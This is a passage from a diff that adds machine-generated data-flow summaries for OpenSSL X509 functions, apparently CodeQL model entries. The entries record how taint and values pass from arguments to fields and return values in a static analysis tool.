*,int,unsigned long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[***data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[**data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[*1]", "Argument[**2].Field[***data].Field[**value]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[*1]", "Argument[**2].Field[**data].Field[**value]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[***data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[**data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[1]", "Argument[**2].Field[***data].Field[**value]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[1]", "Argument[**2].Field[**data].Field[**value]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value", "(const char *,const char *,stack_st_CONF_VALUE **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[***data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[**data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[***data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[**data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool_nf", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[***data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool_nf", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[**data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool_nf", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[***data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool_nf", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[**data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_bool_nf", "(const char *,int,stack_st_CONF_VALUE **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_int", "(const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[***data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_int", "(const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[**data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_int", "(const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[***data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_int", "(const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[**data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_int", "(const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[***data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**2].Field[**data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[*1]", "Argument[**2].Field[***data].Field[**value]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[*1]", "Argument[**2].Field[**data].Field[**value]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[***data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**2].Field[**data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[1]", "Argument[**2].Field[***data].Field[**value]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[1]", "Argument[**2].Field[**data].Field[**value]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_add_value_uchar", "(const char *,const unsigned char *,stack_st_CONF_VALUE **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_extensions_print", "(BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509V3_get_d2i", "(const stack_st_X509_EXTENSION *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_parse_list", "(const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509V3_parse_list", "(const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509V3_set_conf_lhash", "(X509V3_CTX *,lhash_st_CONF_VALUE *)", "", "Argument[*1]", "Argument[*0].Field[**db]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_conf_lhash", "(X509V3_CTX *,lhash_st_CONF_VALUE *)", "", "Argument[1]", "Argument[*0].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[*1]", "Argument[*0].Field[**issuer_cert]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[*2]", "Argument[*0].Field[**subject_cert]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[*3]", "Argument[*0].Field[**subject_req]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[*4]", "Argument[*0].Field[**crl]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[1]", "Argument[*0].Field[*issuer_cert]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[2]", "Argument[*0].Field[*subject_cert]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[3]", "Argument[*0].Field[*subject_req]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[4]", "Argument[*0].Field[*crl]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_ctx", "(X509V3_CTX *,X509 *,X509 *,X509_REQ *,X509_CRL *,int)", "", "Argument[5]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_issuer_pkey", "(X509V3_CTX *,EVP_PKEY *)", "", "Argument[*1]", "Argument[*0].Field[**issuer_pkey]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_issuer_pkey", "(X509V3_CTX *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*issuer_pkey]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_nconf", "(X509V3_CTX *,CONF *)", "", "Argument[*1]", "Argument[*0].Field[**db]", "value", "dfc-generated"] + - ["", "", True, "X509V3_set_nconf", "(X509V3_CTX *,CONF *)", "", "Argument[1]", "Argument[*0].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_INFO_free", "(X509_ACERT_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_INFO_free", "(X509_ACERT_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_ISSUER_V2FORM_free", "(X509_ACERT_ISSUER_V2FORM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_ISSUER_V2FORM_free", "(X509_ACERT_ISSUER_V2FORM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_add1_attr", "(X509_ACERT *,X509_ATTRIBUTE *)", "", "Argument[*0].Field[**acinfo].Field[*attributes]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_add1_attr", "(X509_ACERT *,X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_add1_attr_by_NID", "(X509_ACERT *,int,int,const void *,int)", "", "Argument[*0].Field[**acinfo].Field[*attributes]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_add1_attr_by_OBJ", "(X509_ACERT *,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[*0].Field[**acinfo].Field[*attributes]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_add1_attr_by_txt", "(X509_ACERT *,const char *,int,const unsigned char *,int)", "", "Argument[*0].Field[**acinfo].Field[*attributes]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_add1_ext_i2d", "(X509_ACERT *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_add_attr_nconf", "(CONF *,const char *,X509_ACERT *)", "", "Argument[*2].Field[**acinfo].Field[*attributes]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_delete_attr", "(X509_ACERT *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_delete_attr", "(X509_ACERT *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_dup", "(const X509_ACERT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_dup", "(const X509_ACERT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ACERT_dup", "(const X509_ACERT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_ACERT_dup", "(const X509_ACERT *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ACERT_dup", "(const X509_ACERT *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_ACERT_free", "(X509_ACERT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_free", "(X509_ACERT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_get0_extensions", "(const X509_ACERT *)", "", "Argument[*0].Field[**acinfo].Field[**extensions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get0_extensions", "(const X509_ACERT *)", "", "Argument[*0].Field[**acinfo].Field[*extensions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get0_info_sigalg", "(const X509_ACERT *)", "", "Argument[*0].Field[**acinfo].Field[*signature]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get0_issuerUID", "(const X509_ACERT *)", "", "Argument[*0].Field[**acinfo].Field[**issuerUID]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get0_issuerUID", "(const X509_ACERT *)", "", "Argument[*0].Field[**acinfo].Field[*issuerUID]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get0_serialNumber", "(const X509_ACERT *)", "", "Argument[*0].Field[**acinfo].Field[*serialNumber]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get0_signature", "(const X509_ACERT *,const ASN1_BIT_STRING **,const X509_ALGOR **)", "", "Argument[*0].Field[*sig_alg]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get0_signature", "(const X509_ACERT *,const ASN1_BIT_STRING **,const X509_ALGOR **)", "", "Argument[*0].Field[*signature]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_get_attr", "(const X509_ACERT *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_get_attr_by_NID", "(const X509_ACERT *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_get_attr_by_OBJ", "(const X509_ACERT *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_get_ext_d2i", "(const X509_ACERT *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509_ACERT_print", "(BIO *,X509_ACERT *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_print_ex", "(BIO *,X509_ACERT *,unsigned long,unsigned long)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_ACERT_set1_issuerName", "(X509_ACERT *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_ACERT_sign", "(X509_ACERT *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ACERT_sign_ctx", "(X509_ACERT *,EVP_MD_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509_ALGOR_cmp", "(const X509_ALGOR *,const X509_ALGOR *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_cmp", "(const X509_ALGOR *,const X509_ALGOR *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_copy", "(X509_ALGOR *,const X509_ALGOR *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_dup", "(const X509_ALGOR *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ALGOR_dup", "(const X509_ALGOR *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_dup", "(const X509_ALGOR *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_dup", "(const X509_ALGOR *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_dup", "(const X509_ALGOR *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_free", "(X509_ALGOR *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ALGOR_free", "(X509_ALGOR *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_ALGOR_get0", "(const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *)", "", "Argument[*3]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_get0", "(const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_get0", "(const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_ALGOR_set0", "(X509_ALGOR *,ASN1_OBJECT *,int,void *)", "", "Argument[*1]", "Argument[*0].Field[**algorithm]", "value", "dfc-generated"] + - ["", "", True, "X509_ALGOR_set0", "(X509_ALGOR *,ASN1_OBJECT *,int,void *)", "", "Argument[1]", "Argument[*0].Field[*algorithm]", "value", "dfc-generated"] + - ["", "", True, "X509_ALGOR_set0", "(X509_ALGOR *,ASN1_OBJECT *,int,void *)", "", "Argument[2]", "Argument[*0].Field[**parameter].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "X509_ALGOR_set_md", "(X509_ALGOR *,const EVP_MD *)", "", "Argument[*1].Field[*type]", "Argument[*0].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "X509_ALGOR_set_md", "(X509_ALGOR *,const EVP_MD *)", "", "Argument[*1].Field[*type]", "Argument[*0].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_count", "(const X509_ATTRIBUTE *)", "", "Argument[*0].Field[**set].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create", "(int,int,void *)", "", "Argument[0]", "ReturnValue[*].Field[**object]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create", "(int,int,void *)", "", "Argument[0]", "ReturnValue[*].Field[*object]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_NID", "(X509_ATTRIBUTE **,int,int,const void *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_NID", "(X509_ATTRIBUTE **,int,int,const void *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_NID", "(X509_ATTRIBUTE **,int,int,const void *,int)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_NID", "(X509_ATTRIBUTE **,int,int,const void *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_NID", "(X509_ATTRIBUTE **,int,int,const void *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_NID", "(X509_ATTRIBUTE **,int,int,const void *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[1]", "Argument[**0].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_OBJ", "(X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const void *,int)", "", "Argument[1]", "ReturnValue[*].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_txt", "(X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_txt", "(X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_txt", "(X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_txt", "(X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_txt", "(X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_create_by_txt", "(X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_dup", "(const X509_ATTRIBUTE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_dup", "(const X509_ATTRIBUTE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_dup", "(const X509_ATTRIBUTE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_dup", "(const X509_ATTRIBUTE *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_dup", "(const X509_ATTRIBUTE *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_free", "(X509_ATTRIBUTE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_free", "(X509_ATTRIBUTE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_ATTRIBUTE_get0_object", "(X509_ATTRIBUTE *)", "", "Argument[*0].Field[**object]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_get0_object", "(X509_ATTRIBUTE *)", "", "Argument[*0].Field[*object]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_get0_type", "(X509_ATTRIBUTE *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_set1_object", "(X509_ATTRIBUTE *,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "X509_ATTRIBUTE_set1_object", "(X509_ATTRIBUTE *,const ASN1_OBJECT *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_CERT_AUX_free", "(X509_CERT_AUX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_CERT_AUX_free", "(X509_CERT_AUX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_CINF_free", "(X509_CINF *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_CINF_free", "(X509_CINF *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_CRL_INFO_free", "(X509_CRL_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_CRL_INFO_free", "(X509_CRL_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_CRL_METHOD_new", "(..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[0]", "ReturnValue[*].Field[*crl_init]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_METHOD_new", "(..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "ReturnValue[*].Field[*crl_free]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_METHOD_new", "(..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[2]", "ReturnValue[*].Field[*crl_lookup]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_METHOD_new", "(..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[3]", "ReturnValue[*].Field[*crl_verify]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_add1_ext_i2d", "(X509_CRL *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "X509_CRL_add_ext", "(X509_CRL *,X509_EXTENSION *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_CRL_add_ext", "(X509_CRL *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_CRL_cmp", "(const X509_CRL *,const X509_CRL *)", "", "Argument[*1].Field[*crl].Field[**issuer]", "Argument[*1].Field[*crl].Field[*issuer]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_delete_ext", "(X509_CRL *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_delete_ext", "(X509_CRL *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_CRL_diff", "(X509_CRL *,X509_CRL *,EVP_PKEY *,const EVP_MD *,unsigned int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_CRL_digest", "(const X509_CRL *,const EVP_MD *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_CRL_digest", "(const X509_CRL *,const EVP_MD *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_CRL_dup", "(const X509_CRL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_CRL_dup", "(const X509_CRL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_CRL_dup", "(const X509_CRL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_CRL_dup", "(const X509_CRL *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_CRL_dup", "(const X509_CRL *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_CRL_free", "(X509_CRL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_CRL_free", "(X509_CRL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_CRL_get0_extensions", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[**extensions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get0_extensions", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[*extensions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get0_lastUpdate", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[**lastUpdate]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get0_lastUpdate", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[*lastUpdate]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get0_nextUpdate", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[**nextUpdate]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get0_nextUpdate", "(const X509_CRL *)", "", "Argument[*0].Field[*crl].Field[*nextUpdate]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get0_signature", "(const X509_CRL *,const ASN1_BIT_STRING **,const X509_ALGOR **)", "", "Argument[*0].Field[*sig_alg]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "X509_CRL_get0_signature", "(const 